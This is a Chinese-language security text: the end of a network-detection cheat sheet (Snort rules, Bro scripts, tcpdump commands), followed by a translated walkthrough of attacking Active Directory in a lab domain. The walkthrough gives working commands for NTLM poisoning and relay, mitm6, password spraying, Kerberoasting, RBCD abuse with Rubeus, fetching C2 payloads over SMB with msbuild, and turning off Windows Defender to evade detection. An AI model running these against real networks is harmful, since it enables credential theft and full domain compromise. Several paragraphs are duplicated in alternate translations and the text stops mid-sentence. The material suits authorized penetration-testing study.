reference:url,blog.didierstevens.com/2015/05/11/detecting-network-traffic-from-metasploits-meterpreter-reverse-http-module/; sid:1618008; rev:1;) https://didierstevens.com/files/software/snort-rules-V0_0_1.zip # SNORT规则检测PSEXEC alert tcp HOME_NET any -> HOME_NET [139,445] (msg:"POLICY-OTHER use of psexec remote administration tool"; flow:to_server,established; content:"|FF|SMB|A2|"; depth:5; offset:4; content:"|5C 00|p|00|s|00|e|00|x|00|e|00|c|00|s|00|v|00|c"; nocase; metadata:service netbios-ssn; reference:url,technet.microsoft.com/en-us/sysinternals/bb897553.aspx; classtype:policy-violation; sid:24008; rev:1;) alert tcp HOME_NET any -> HOME_NET [139,445] (msg:"POLICY-OTHER use of psexec remote administration tool SMBv2"; flow:to_server,established; content:"|FE|SMB"; depth:8; nocase; content:"|05 00|"; within:2; distance:8; content:"P|00|S||E|00|X|00|E|00|S|00|V|00|C|00|"; fast_pattern:only; metadata:service netbios-ssn; reference:url,technet.microsoft.com/en-us/sysinternals/bb897553.aspx; classtype:policy-violation; sid:30281; rev:1;) 2. ) Bro NSM # 检测横向渗透 wget https://raw.githubusercontent.com/richiercyrus/Bro-Scripts/master/detect-mal-smb-files.bro bro -r faf-exercise.pcap detect-mal-smb-files.bro less notice.log # 检测勒索软件 wget https://raw.githubusercontent.com/fox-it/bro-scripts/master/smb-ransomware/smb-ransomware.bro bro -r faf-exercise.pcap smb-ransomware.bro 3.) 检测DOS/DDOS # 检测攻击类型SYN Flood,ICMP Flood,UDP Flood tshark -r 001.pcap -q -z io,phs tshark -c 1000 – -z io,phs tcpdump -tnr $ | awk -F '.' '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -n | tail tcpdump -qnn "tcp[tcpflags] & (tcp-syn) != 0" netstat -s tcpdump -nn not arp and not icmp and not udp netstat -n | awk '{print $6}' | sort | uniq -c | sort -nr | head # 应用层 tshark -c 10000 -T fields -e http.host | sort | uniq -c | sort -r | head -n 10 tshark -r capture6 -T fields -e http.request.full_uri | sort | uniq -c | sort -r | head -n 10c tcpdump -n 'tcp[32:4] = 0x47455420' | cut -f 7- -d":" # 查找http请求中包含:GIF,ZIP,JPEG,PDF,PNG扩展的数据包 tshark -Y "http contains "ff:d8"" || "http contains "GIF89a"" || "http contains "x50x4Bx03x04"" || "http contains "xffxd8"" || "http contains "%PDF"" || "http contains "x89x50x4Ex47"" 取'user-agent'和refer字段 tcpdump -c 1000 -Ann I grep -Ei 'user-agent' | sort | uniq -c | sort -nr | head -1 tcpdump -i en0 -A -s 500 | grep -i refer # 第二层攻击 tcpdump 'arp or icmp' tcpdump -tnr 001.pcap ARP | awk -F '.' '{print 1"."2"."3"."4}' | sort | uniq -c | sort -n | tail tshark -r 001.pcap -q -z io,phs | grep arp.duplicate-address-detected 6.2 兵器谱 1.)KALI 渗透测试发行版 https://www.kali.org 2.)SIFT SANS 取证工具箱 http://sift.readthedocs.org/ 3.)REMNUX 软件逆向和病毒分析发行版 https://remnux.org 4.) OPENVAS http://www.openvas.org 5.) Security Onion 入侵检测、网络安全监控、日志分析发行版 https://securityonion.net 6.)OSSEC 开源主机入侵检测系统 http://ossec.github.io 0x4 参考 https://www.4hou.com/technology/10173.html https://github.com/fu4ck/btfm
  22. 0x01 前言 我有几个客户在渗透测试之前来找我,说他们的系统安全做得非常好,因为他们的漏洞扫描显示没有严重的漏洞并且已准备好进行安全测试,这使我在15分钟内利用AD中的错误配置获得了域管理员权限。 我在渗透测试领域看到的一个教育缺陷是当前涉及渗透Active Directory(AD)方面缺乏知识。不幸的是,OSCP并没有覆盖AD测试,甚至连sans-gpen课程也很少涉及它。本文的目标是帮助展示我过去在对AD的安全测试中使用的一些技术,工具和方法。这绝不是一遍关于每种方法或工具的综合性手册。在本系列中,我将使用kali linux 2019,并通过虚拟机在自己的虚拟域上操作。 让我们首先说明目标:渗透测试的目标是识别攻击者为破坏网络而使用的任何可能的攻击向量。它不是为了获得域管理员权限。 现在我们有了一个目标,我们遵循了几个步骤来实现它。下面是关于测试环节的(粗略)图示指南。 概要:一个客户机雇佣您在他们的网络上进行渗透测试,该网络使用Active Directory。没有提供任何有关的信息,也没有任何登录凭据,也没有攻击范围,也没有进入客户公司前门的凭证,但是你可以设法从后门尾随进入,找到一个有IP电话的隐蔽房间。拔下IP电话的插头,插入笔记本电脑,发现自己在客服公司同一局域网内。下一步是什么?获得权限立足点。 0x02 第一阶段:获得权限立足点 由于没有信任证书,我们可以进行的侦察数量有限,而且几乎在整个周期的每一步都会进行侦察,但是我们可以立即采取一些措施来立足于网络。首先,因为我们有网络访问权限,所以只需通过ifconfig或ipconfig检查我们所在的子网。获得IP后,在nmap中执行ping扫描以查看是否可以访问其他设备。 nmap -sn 192.168.1.1/24 如果显示ping返回,那么该网络设备可网络连通。如果什么都没有得到,可能是ICMP被禁用,那么网络上没有其他设备,或者由于您没有经过身份验证,您无法与其他设备通信,并且可能被身份安全解决方案(如Cisco ISE)阻止。为了本文的目的,假设我们已经和一些设备网络连通,并且能够成功地对它们执行ping操作。 1.Responder 接下来,我们将使用一个名为Responder的工具,或者如果你偏爱Windows,那么Inveigh。这两个工具的作用是检查AD中非常常见的错误配置,从而导致WPAD和NBT-NS中毒的能力。默认情况下,Windows配置为在使用Internet时搜索Web代理自动发现文件。这在组织中很有用,因为设备将发送广播请求代理文件并接收代理文件。但是,它自然不会验证发送代理文件的人员,允许攻击者发送欺骗性答案然后请求凭据。 接下来,我们将使用一个名为Responder的工具,或者如果您偏爱Windows和Inveigh。这两个工具的作用是检查AD中常见的错误配置,从而导致WPAD和NBT-NS投毒。情况下,Windows配置为在使用Internet时搜索Web代理自动发现文件。这在企业组织中很有用,因为设备将发送广播请求代理文件并接收代理文件。但是,它自然不会对发送代理文件的人进行身份验证,从而允许攻击者发送一个欺骗的答案,然后请求凭据。 在Kali中,默认安装 responder responder -I eth0 --wpad 在我的Windows 7计算机上,我打开Internet Explorer并转到Google,然后启动对WPAD文件的搜索。在Responder中,我看到请求通过,然后Responder自动用挑战回复请求,这导致受害者发送他们的用户名和哈希密码(以NTLMv2格式) 有了这个哈希表,我们可以做一些事情。我们可以尝试破解它,或者使用ntlmrelay.py之类的工具进行中继。我在该文章中阐述了如何转发NTLM哈希,所以我将继续阐述如何破解它,因为这通常是我在计划时所做的。 说实话,我很少在linux/kali上破解密码。我使用的是一个nvidia GPU显卡,它从来没有在Kali上被正确安装过,而且Windows上有hashcatgui,这使得它更简单容易并将使用它。我把收集到的哈希值存储到一个名为“hash.txt”的文件中,并对其运行一些简单规则和输入输出设置,但在本文中,我只是使用了字典rockyou.txt并运行它,它在一秒内就成功破解了哈希值。 我对HashcatGUI的设置 现在我们成功破解了密码,我们有登录凭据Alice:Password! 在继续之前,我想展示一些其他的方法,以防 Responder 程序不起作用。 2.mitm6 假设客户端的网络正在使用合法的WPAD PAC文件,并且您的欺骗无法正常运行。还有另一种技术利用IPv6和DNS将凭证中继到目标。默认情况下,IPv6已启用且实际上优先 于IPv4,这意味着如果计算机有IPv6 DNS服务器,则它将使用IPv4。此外此外,默认情况下,Windows计算机通过DHCPv6请求查找IPv6 DNS服务器,如果我们使用假的IPv6 DNS服务器进行欺骗,我们可以有效地控制设备查询DNS的方式。更多内容可以在这里阅读。 首先,下载mitm6 git clone https://github.com/fox-it/mitm6.git cd mitm6 pip install . 然后针对目标网络工作组运行它。因为我们以前做过一次ping扫描,所以也获取到了netbios名称,显示目标域是lab.local 以下是我运行mitm6之前目标上的IP设置。 注意DNS服务器 然后运行mitm6 mitm6 -d lab.local 现在目标上的DNS服务器已经被更改 注意IPv6地址作为DNS服务器 现在真正的漏洞是Windows下IPV6比IPV4的攻击更好,这意味着现在已控制DNS。 所以现在利用这样一个事实:我们通过Ntlmrelayx.py再次欺骗WPAD响应来控制DNS。在这里,我写了一篇关于如何设置它的指南。 在一个窗口中运行mitm6时,同时打开另一个窗口并运行ntlmrelayx.py ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i -wh: 托管WPAD文件的服务器(攻击者的IP) -t: 目标(您无法将凭据中继到您正在欺骗的同一设备中) -i:打开一个交互式shell 从这里我们可以通过netcat连接到shell,就好像我们有一个完全交互的SMB shell,或者我们可以通过-c(命令)发送一个Empire stager。实际上,你的选择仅限于ntlmrelayx.py所能做的。在这种情况下,我使用-c命令来执行silenttrinity有效payload。我在这里写了关于如何使用SILENTTRINITY的文章。 ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml' 但是,在本例中,msbuild.exe在这种情况下不构建XML文件,而且我也没有返回silenttrinity的连接,因为这太容易了。相反,我查看我的SMB服务器并查看中继哈希 然后反而我成功地破解了它 现在,我们成功地在不使用Responder的情况下拥有网络凭据 3.CrackMapExec CrackMapExec本质上是一把瑞士军刀。从密码喷洒和哈希传递到命令执行,它应该在每个渗透测试工具包中被使用 如果其他都失败了,我们可以尝试密码喷洒。这个方法之所以是最后一个,是因为密码被锁定。密码锁定并不像您想象的那样常见,这允许攻击者对用户名使用字典进行攻击。获取用户名是第一步,可以通过OSInt和使用信息收集器来完成。如果我们没有来自osint的用户名,我们也可以给crackmapexec(cme)一个用户名字典表,但是为了时间的缘故,我们假设有用户名rsmith。 如果您使用的是Kali的较新版本,则默认已安装了CrackMapExec,但如果不是,则可以安装它 apt-get install crackmapexec 由于我们在扫描中识别出网络上的设备,因此我们可以向CME提供与用户名配对的密码字典并尝试登录。 crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p~ / Documents / wordlists / fasttrack.txt --shares 几秒钟后,就会获取到密码。 这可能看起来是CTF-Y,但season:year 是一个非常流行的密码组合。 有了这些找到的凭据,我们现在拥有了一个常规的用户帐户,并将下文中继续提升权限 在上文中,我以三种不同的方式获得了域的凭据。在本文的大部分内容中,我将使用rsmith用户凭据,因为它们权限是低级别的,这将使我们进行权限提升 当然,Windows中的权限提升可以来自缺少的补丁或不带引号的服务路径系统,但由于这是对AD的测试,我们将利用一些AD内容来提升权限。 有了网络凭据,我们现在应该先进行一些信息收集,然后再直接查看未打的补丁漏洞。有一些工具和技术会对我们有所帮助。 0x03 第二阶段:特权提升和信息收集 1.Bloodhound 我最喜欢的工具之一是Bloodhound。以图形化方式显示,因此Bloodhound是一个很好的工具,因为它可以从字面上映射出图形中的域,揭示了有关联和无关联的关系。从攻击者的角度来看,这很有趣,因为它向我们展示了目标。 我写了一整篇关于Bloodhound的文章,可以在这里阅读到,但我会展示一个tl; dr版本 假设您没有在计算机上获得一个会话,但您拥有凭据。您仍然可以使用Bloodhound的Python并远程收集数据。可以通过git进行安装 git clone https://github.com/fox-it/BloodHound.py.git cd BloodHound.py/&&pip install 然后可以通过传递凭据,域和DC IP来运行 bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all 一旦BH完成了任务,它将以.json格式将数据存储在运行它的目录中。复制这些文件,然后将它们拖到Bloodhound中,现在您就有了一个漂亮的网络图。如果按“域管理的最短路径”排序,您将得到类似于下面的内容。 AdminAlice已登录DC 这样做的好处是,您可以直接查看管理员登录到哪些计算机,从而为您提供下一个目标。在一个拥有数百甚至数千台接受低权限凭据的计算机的域中,您不希望仅仅通过收集其他低权限凭据来浪费时间。这给出了一个目标列表,以及许多其他内容。其他用途包括识别可能具有包含凭证的数据库的SQL服务器,识别哪些机器可以连接RDP等等。我鼓励您在此深入了解它的深入功能。我还鼓励你看看GoFetc,它自动利用Bloodhound绘制的攻击计划。 2.Kerberoasting | GetUserSPNs.py 通过标识目标列表和域控制器,一种权限提升的方式是Kerberoasting。因为在AD中向服务帐户颁发了服务主体名称(SPN),所以可以进行kerberoasting。然后,任何用户都可以从具有该帐户哈希密码(采用kerberos 5 tgs-rep格式)的SPN请求kerberos票证。有许多不同的工具可以进行Kerberoasting,但实际上你只需要一个工具。 GetUserSPNs.py非常简单 - 它在目标域中查询在用户帐户下运行的SPN。使用它非常简单。 现在我们有一个服务帐户的哈希值。我将它加载到hashcat(当然是GUI)中并选择hash类型13100,如下所示 它会在几秒钟内成功爆破 我们现在拥有服务帐户的凭据,这通常会对域控制器的进行成功访问。太容易了?让我们试试其他方法。 3.ASEPRoasting | Rubeus ASEPRoasting类似于Kerberosting,从这个意义上说,我们查询帐户的TGT,获取哈希,然后破解它,但是在Aseproasting的情况下有一个非常大的警告:必须禁用Kerberos预身份验证,这不是默认设置。当您通过Kerberos AS-REQ消息请求TGT时,您还提供使用您的用户名和密码加密的时间戳。然后,密钥分发中心(KDC)解密时间戳,验证来自该用户的请求,然后继续进行身份验证过程。这是kerberos的预身份验证过程,这显然是攻击者的问题,因为我们不是kdc,无法解密该消息。当然,这是设计用于防止攻击,但是如果预身份验证被关闭,我们可以向任何用户发送一个as-req,它将返回哈希密码。由于默认情况下启用了预身份验证,因此必须手动关闭它,因此这种情况很少见,但仍然值得一提。 tsmith容易受到 ASREPRoasting影响,因为选中了“不需要Kerberos预身份验证 为了利用这一点,我们将使用一个名为Rubeus的工具。Rubeus是一个滥用Kerberos的大型工具集,但是为了进行ASREPRoasting,我们关心这一部分。要使用Rubeus,首先需要安装Visual Studio。安装完成后,下载Rubeus并使用Visual Studio打开Rubeus.sln文件。 默认情况下,它将安装在rubes\bin\debug\file中。cd进入该目录,然后运行它: .\Rubeus.exe asreproast 如果没有用户选中“不需要Kerberos预身份验证”,那么就不会有任何用户进行验证。但如果有… 然后我们可以为用户获取哈希并破解它。 请记住,示例是在已加入域的计算机上完成的,因此,如果您是从不在域上的计算机上执行此操作,则必须连接域控制器,域名,OU等 4.SILENTTRINITY SILENTTRINITY是由@ byt3bl33d3r开发的一种新的命令和控制(C2)工具,它使用IronPython和C#。您可以选择使用MSBuild.exe,这是一个Windows二进制文件,它构建C#代码(默认情况下也安装在Windows 10中,作为.NET的一部分),以XML格式运行命令和控制(C2)有效载荷,允许然后攻击者使用底层.NET框架通过IronPython,C#和其他语言在受害者的主机上进行操作。 就个人而言,SILENTTRINITY已经取代了我工具箱中的Empire,我在这里写了一篇关于如何使用帝国的指南。还有一些地方我更喜欢Empire连接,但ST也处于'alpha'状态,所以该功能也会在其ST中体现。在我看来,ST取代Empire有三个主要原因。 Empire的有效载荷现在被Windows Defender捕获,即使是在混淆的情况下(有很多方法可以解决,但仍然如此。) ST在命令下执行 使用–at exec参数在CME上执行有效负载时,可以将权限升级到SYSTEM权限 以下是使用非域管理员用户凭据的全新Windows 10安装中的POC 帐户“tsmith”仅在用户的组中 使用tsmith的凭据执行代码 我在SILENTTRINITY中生成XML payload,然后通过smbserver.py将其托管在我的SMB服务器上。如果你对怎么做感到困惑,请按照我的指南进行操作。然后,我使用CME执行将在攻击者机器上获取XML文件的命令。 我在silenttrinity中生成XML有效负载,然后通过smb server.py将其托管在我的smb服务器上。如果你对怎么做感到困惑,请按照我的指导来做。然后,我使用CME执行将在攻击者机器上获取XML文件的命令。 crackmapexec 192.168.218.60 -u tsmith -p Password! -d lab.local -x 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe \\192.168.218.129\SMB\msbuild.xml' --exec-method atexec CME执行所提供的命令,该命令运行msbuild.exe并告诉它托管在我的SMB服务器上的XML文件 我现在在ST中获得了一个会话 列出会话的信息会显示我的用户名是system,这意味着我从用户tsmith提升到了system,这是因为msbuild.exe使用–exec method atexec选项运行,该选项使用具有系统权限(或尽可能高的权限)的任务计划程序来运行命令 当然,我们然后转储凭据,现在有一个管理员密码哈希,我们可以传递或破解它。 4.PrivExchange PrivExchange是一种新技术(在过去一个月内),它利用了默认情况下Exchange服务器过度使用的事实。这是Dirkjann在一个多月前发现的,现在是快速提升特权的一种很好的方法。 它的工作原理是查询Exchange服务器,获取包含Exchange服务器凭据的响应,然后通过ntlmrelayx将响应中的凭据中继到域控制器,然后修改用户的权限,以便他们可以在域控制器上转储哈希值。 设置它有点麻烦。Exchange 2013是使用Windows 2012 R2服务器上的默认方法安装的,我对PrivExchange python脚本进行了此修改,以使其在没有有效SSL证书的情况下工作。在那之后,它运行一切顺利。 首先,启动ntlmrelayx.py并将其指向DC,通过LDAP进行身份验证并提升用户的权限。 ntlmrelayx.py -t ldap://192.168.218.10 --escalate-user rsmith 然后,通过传入攻击者IP(-ah),目标和用户/密码/域来运行privexchange.py python privexchange.py -ah 192.168.218.129 LAB2012DC02.lab.local -u rsmith -d lab.local -p Winter201 Privexchange.py对echange进行API调用 ntlmrelayx将Exchange服务器的凭据中继到主DC,然后提升rsmith的权限 使用rsmith的特权在DC上转储哈希值 通过对所有用户使用哈希,现在可以破解它们了。 注意:如果你运行mimikatz,它会被AV捕获,secretsdump.py是一个很好的选择,因为它不会将任何东西存储到磁盘上。 5.Kerberos无约束委派 同样来自Dirk-jan,是一种利用默认AD安装的攻击。具体而言,默认情况下,计算机可以更改与其权限相关的某些属性,例如msDS-AllowedToActOnBehalfOfOtherIdentity。此属性控制用户是否可以通过Kerberos模拟登录(几乎)域中的任何计算机。通过中继凭证可以实现这一切。我在第一部分中演示了mitm6,所以我将在这里再次使用它,但是以不同的方式传递响应。 同样来自Dirk-jan,,它是一种利用默认AD安装的攻击。具体而言,默认情况下,计算机可以更改与其权限相关的一些属性,例如msDS-AllowedToActOnBehalfOfOtherIdentity。此属性控制用户是否可以通过Kerberos模拟登录(几乎)域中的任何计算机。通过中继凭证可以实现这一切。我已经在上文中演示了mitm6的使用方法,所以我将在这里再次使用它,但是以不同的方式传递响应。 mitm6 -i ens33 -d lab.local 然后我在提供WPAD文件时并通过LDAPS将凭据中继到主DC,同时选择委派访问攻击方法。 ntlmrelayx.py -t ldaps://LAB2012DC01.lab.local -wh 192.168.10.100 --delegate-access 受害者打开IE,它通过IPv6发出WPAD请求,攻击者(我)响应并通过LDAPS将这些凭据转发给DC。创建一台新计算机并修改委派权限,以便新的“计算机”可以通过msDS-AllowedToActOnBehalfOfOtherIdentity属性模拟LABWIN10(受害者)上的任何用户。所以我现在生成一张白银票据,并冒充用户'管理员' getST.py -spn cifs/LABWIN10.lab.local lab.local/AFWMZ0DS\$ -dc-ip 192.168.10.10 -impersonate Administrator 然后我通过secretsdump.py使用我获取到的白银票据登录到LABWIN10并转储凭据 要了解更多关于白银票据攻击及其工作原理,这是一篇很好的文章。 6.基于资源的约束委派 是的,由于msDS-AllowedToActOnBehalfOfOtherIdentity属性导致更多攻击。@ harmj0y几个星期前在此发了一篇文章。基本上,如果您能够在AD中更改计算机对象,你就可以接管该计算机权限。唯一的问题是需要有一个2012+域控制器,因为旧版本不支持基于资源的约束委派(RBCD)。在这篇文章中,EladShamir分解了整个攻击,包括更多关于RBCD的内容。 有三种工具可用于此操作: Powermad POWERVIEW Rubeus 然后使用rsmith的凭据在Windows 10计算机上执行此攻击。首先,我们将executionpolicy设置为Bypass(绕过),以便我们可以导入和运行脚本。 Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser 然后我们检查是否可以修改自由访问控制列表(DACL) $AttackerSID = Get-DomainGroup Users -Properties objectsid | Select -Expand objectsid Get-DomainObjectACL LAB2012DC01.lab.local | ?{$_.SecurityIdentifier -match $AttackerSID} 上述命令表示是查找“用户”SID的权限,表明该组对该对象(DC)具有“创建-写入”权限。 默认情况下,这是不可利用的。这是在恶意利用管理员设置的潜在错误配置;在此示例中,管理员将“用户”组添加为DC的主体并允许GenericWrite属性。 作为POC,rsmith(属于“用户”组)无法连接DC 接下来我们要做的是创建一个新的计算机帐户,并修改域控制器上的属性,以允许新的计算机帐户冒充域控制器上的任何人,这一切都要归功于msDS-allowedToActOnBehalfOfOtherIdentity。我们可以创建一个新的计算机帐户,因为默认情况下,用户最多可以创建10个计算机帐户。powermad有它的功能。 New-MachineAccount -MachineAccount hackermachine -Password $(ConvertTo-SecureString 'Spring2017' -AsPlainText -Force) 然后,我们将新机器的SID添加到 DC上的msDS-allowedToActOnBehalfOfOtherIdentity属性 $ComputerSid = Get-DomainComputer hackermachine -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} 然后使用Rubeus获取我们创建的机器的NT密码 .\Rubeus.exe hash /password:Spring2017 /user:hackermachine /domain:lab.local 最后,我们在目标DC上使用Rubeus的用户服务(S4U)进程模拟域管理员(Administrator) .\Rubeus.exe s4u /user:hackermachine$ /rc4:9EFAFD86A2791ED001085B4F878AF381 /impersonateuser:Administrator /msdsspn:cifs/LAB2012DC01.lab.local /ptt 通过导入票据,我们可以访问域控制器。 同样,这是利用系统管理员错误的并添加“用户”组以便对DC具有通用的写访问权限的设置事实。尽管我们无法通过SMB访问它,但我们修改了允许我们访问的权。如果您仍然感到困惑,这里有来自SpecterOps 的视频演示。 7.MS14-025,GPP 这个不太常见,因为它已经出现了很长一段时间了,但它被提及因为它仍然存在。MS14-025也称为组策略首选项提升漏洞。 当域管理员通过组策略首选项推送到本地管理员帐户时,它会将加密的凭据存储在域控制器上的SYSVOL共享中(任何人都可以访问SYSVOL,因为它是存储策略的位置以及域客户端需要的其他内容访问)。这通常不会成为问题,因为它是用AES加密的,对吗?是的,微软公司在网上发布了解密密钥。所以现在,攻击者可以解码密码。为了简化这个过程,metasploit有一个辅助模块。 8.攻查找特权帐户| CrackMapExec 好吧,这个不一定是“攻击”,就像它是一种做好侦察和枚举的方法一样,一些工具可以帮助解决这个问题。从文章的角度来看,这似乎有点延伸,但实际上,特权帐户非常普遍,找到一个人帐户然后登录到另一个人工作站并阅读他们的东西并不罕见。此外,拥有该用户应该没有业务访问权限的服务器的权限,这当然导致攻击者只是在任何地方转储凭据并最终找到在域控制器上工作的信誉。 好吧,这一次不一定是“攻击”,因为它是一种进行良好侦察和计数的方法,一些工具可以帮助解决这个问题。从一篇文章的角度来看,这似乎有点夸张,但事实上,特权账户是如此普遍,以至于找到一个人的账户,然后登录到另一个人的工作站,并读取他们的资料是很正常的。此外,拥有对该用户不应该具有业务访问权限的服务器的权限,这当然会导致攻击者将凭证丢到任何地方,最终找到在域控制器上工作的凭证。 这里的方法非常简单:在网络上喷涂凭据,查看您可以登录的内容。使用crackmapexec,您可以列出共享并查看您具有写入权限。 这里的方法很简单:在网络上喷涂凭据,看看你能登录什么。使用CrackMapExec,您可以列出这些共享并查看您有哪些写访问权限。 crackmapexec 192.168.218.0/24 -u rsmith -p Winter2017 --shares 从这里开始,使用SILENTTRINITY打开用户具有写入权限的会话,运行mimikatz模块,并希望您找到具有特权的新凭据。请记住,您可以将CME与CIDR一起使用,这意味着如果您使用SILENTTRINITY作为C2服务器并使用CME触发连接,则可以通过网络将其喷射到最大会话。虽然它不是非常OpSec友好且非常嘈杂。考虑它是一个测试,看看他们的检测和响应姿势是如何 在这里,使用silenttrinity打开一个会话,讨论用户对哪些内容具有写访问权限,运行mimikatz模块,并希望您找到具有特权的新凭据。记住,你可以使用CIDE和CIDRS,这意味着如果你使用SeleTrtruthC2作为C2服务器,并使用CME来触发连接,你可以通过网络喷洒最大的会话。尽管它不太友好,噪音也不太大。把它当作一个测试,看看他们的检测和反应姿势是怎样的 9.PowerTools (1).攻击方法一:在文件中查找密码 另一个需要查找的是文件中的密码。有几次我发现用户在他们的Documents文件夹中存储了电子邮件,其中包含一个密码。或者他们保存一个包含密码的Excel/Word文件。这就是PowerSploit派上用场的地方。我从哪里开始使用PowerSploit?如果你想做一些恶意的事情,它有一个powershell模块。在搜索密码或任何字符串的情况下,PowerView是您的好助手。请记住,EDR基本上捕获了这个套件中的每个模块,因此我建议在使用Invoke-Obfuscation之前对它们进行编码。PowerView易于使用。下载PowerSploit,并在您解压缩的目录中打开Powershell(确保您是管理员)。 首先,允许运行脚本 Set-ExecutionPolicy Bypass 然后导入模块 Import-Module .\PowerView.ps1 在PowerView模块中有一个名为Invoke-FileFinder的命令,它允许您在文件中搜索所需的任何字符串。比如字符串'password'。 在C盘中搜索包含字符串'password'的任何内容 找到一个密码文件 请注意,这需要很长时间。它有助于缩小搜索区域并从该目录运行命令 (2).攻击方法二:Get-ExploitableSystem 这是一个非常简要的脚本。它将向Active Directory查询每个计算机帐户的主机名,操作系统版本和Service Pack版本,然后根据常见的Metasploit漏洞利用列表进行交叉引用。 首先导入整个PowerPloit套件(如果需要,只导入PowerView) Import-Module .\PowerSploit.psd1 然后运行该命令 Get-ExploitableSystem -Verbose Hurray for Windows XP! (3).攻击方法三:PowerUp 在PowerUp模块中有一个名为“Invoke-All-Checks”的函数,它完全按照它的脚本自动执行。它会检查所有内容,从不带引号的服务路径(我在这里写了如何利用)到寻找MS14-025。查看Github了解更多信息。 使用它很简单 Invoke-AllChecks PowerUp使用方法: Powerup旨在成为依赖错误配置的常见Windows权限提升向量的交换中心。 运行Invoke-AllChecks将输出任何可识别的漏洞以及任何滥用功能的规范。-HTMLReport参数还将生成报告的computer.username.html版本。 作者:@ harmj0y许可证:BSD 3-Clause必需依赖项:无可选依赖项:无 服务枚举: Get-ServiceUnquoted - 返回具有名称空间的未加引号路径的服务 Get-ModifiableServiceFile - 返回当前用户可以写入服务二进制路径或其配置的服务 Get-ModifiableService - 返回当前用户可以修改的服务 Get-ServiceDetail - 返回有关指定服务的详细信息 Invoke-ServiceAbuse - 修改易受攻击的服务以创建本地管理员或执行自定义命令 Write-ServiceBinary - 写出一个修补的C#服务二进制文件,它添加一个本地管理员或执行一个自定义命令 Install-ServiceBinary - 将服务二进制文件替换为添加本地管理员或执行自定义命令的服务二进制文件 Restore-ServiceBinary - 用原始可执行文件还原替换的服务二进制文件 DLL劫持: Find-ProcessDLLHijack - 为当前运行的进程查找潜在的dll劫持 Find-PathDLLHijack - 查找服务%path%dll劫持 Write-HijackDll - 写出一个可劫持的DLL 注册表检查: Get-RegistryAlwaysInstallElevated - 检查是否设置了alwaysInstallElevated注册表项 Get-RegistryAutoLogon - 检查注册表中的自动登录凭据 Get-ModifiableRegistryAutoRun - 在hklm autoruns中检查任何可修改的二进制文件/脚本(或其配置) 杂项检查: Get-ModifiableScheduledTaskFile - 检查具有可修改目标文件的schtasks Get-UnattendedInstallFile - 检查剩余的无人参与安装文件 Get-Webconfig - 检查任何加密的web.config字符串 Get-ApplicationHost - 检查加密的应用程序池和虚拟目录密码 Get-SiteListPassword - 检索找到的McAfee的sitelist.xml文件的明文密码 Get-CachedGPPPassword - 检查缓存组策略首选项文件中的密码 其他帮助/辅助功能: Get-ModifiablePath - 对输入字符串进行标记,并返回当前用户可以修改的文件 Get-CurrentUserTokenGroupSid - 返回当前用户所属的所有sid,无论这些sid是否被禁用 Add-ServiceDacl - 为service返回的服务对象添加dacl字段 Set-ServiceBinPath - 通过win32 api方法将服务的二进制路径设置为指定值 Test-ServiceDaclPermission - 根据给定的权限集测试一个或多个传递的服务或服务名称 Write-UserAddMSI - 写出一个MSI安装程序,提示用户添加 Invoke-AllChecks - 运行所有当前权限提升检查并返回报告 (4).攻击方法四:GetSystem 此模块执行与Metasploit'GetSystem'的功能相同。要了解更多关于具体内容的信息,请阅读阅读CobaltStrike这篇优秀文章。 否则,只需运行该命令即可 Get-System -Technique Token 或者 Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' 这是LAB\administrator 这是LAB\system 10.ADAPE 就我个人而言,我写了一个名为adape的脚本——Active Directory评估和权限提升脚本 ADAPE是用PowerShell编写的,它使用几个不同的其他工具的函数,并自动运行它们,从而防止需要通过多个工具进行端口连接。它也被混淆加密并关闭Windows Defender以帮助我们绕过EDR。 ADAPE易于使用。下载它,将其复制到目标Windows机器上,然后运行它 PowerShell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 由于包含了所有必需的脚本,因此不需要访问到Internet,而是将结果存储在可导出的capture.zip文件中。 错误消息是正常的,除非它被中断。然后给出错误报告。 寻找GPP密码,Kerberoasting和运行Bloodhound 检查privesc,然后删除它创建的文件并压缩捕获文件 如果打开捕获文件,您将获得所有结果 同样,无论如何,这并不全面。这只是我多年来成功使用的一些工具和攻击,所以至少有一种是可行的。在第三部分中,我将讨论后期利用和权限持久性。 Active Directory评估和权限提升脚本使用方法: 首先我要说的是,我完全不相信这个脚本中使用的模块。非常感谢Tim Medin,Kevin Robertson,Marcello Salvati,Will Schroeder以及Spectre Ops团队的其他成员提供本脚本中使用的模块。最后,感谢Daniel Bohannon编写的Invoke-Obfuscation,它用于混淆此脚本中的所有模块。我只是将它们组合在一起的那个人。 在我的参与和评估中,我经常运行一些PowerShell脚本来帮助识别下一个目标,检查错误的组策略设置,AD错误配置,缺少补丁等。此脚本结合了我经常使用的脚本并自动运行我在这些脚本中使用的功能,将结果输出到zip文件中。 该脚本将执行以下操作: •通过WPAD,LLMNR和NBT-NS欺骗收集哈希值 •检查GPP密码(MS14-025) •通过Kerberoast为帐户收集哈希值 •绘制域并通过BloodHound识别目标 •检查权限提升方法 •在网络上搜索开放的SMB共享 •在这些共享和其他可访问目录中搜索敏感文件和字符串(密码、PII或您真正想要的任何内容)。默认情况下,它在寻找“密码”的关键字。例如,如果您想搜索CVV关键字,只需将其添加到“password(密码)”旁边,例如password(密码),cvv •检查网络上的系统补丁 •搜索附属股份 •搜索文件服务器 •收集域策略 这个脚本完全可以独立运行,而根本不使用互联网。所需的所有脚本都是混淆的PowerShell并包含在内,因此它应该绕过大多数基本的AV防御解决方案。默认情况下,它将关闭Windows Defender。如果opsec让您担心(例如目标在Defender关闭时配置了警报),那么你可以在第34行的“Set-MpPreference 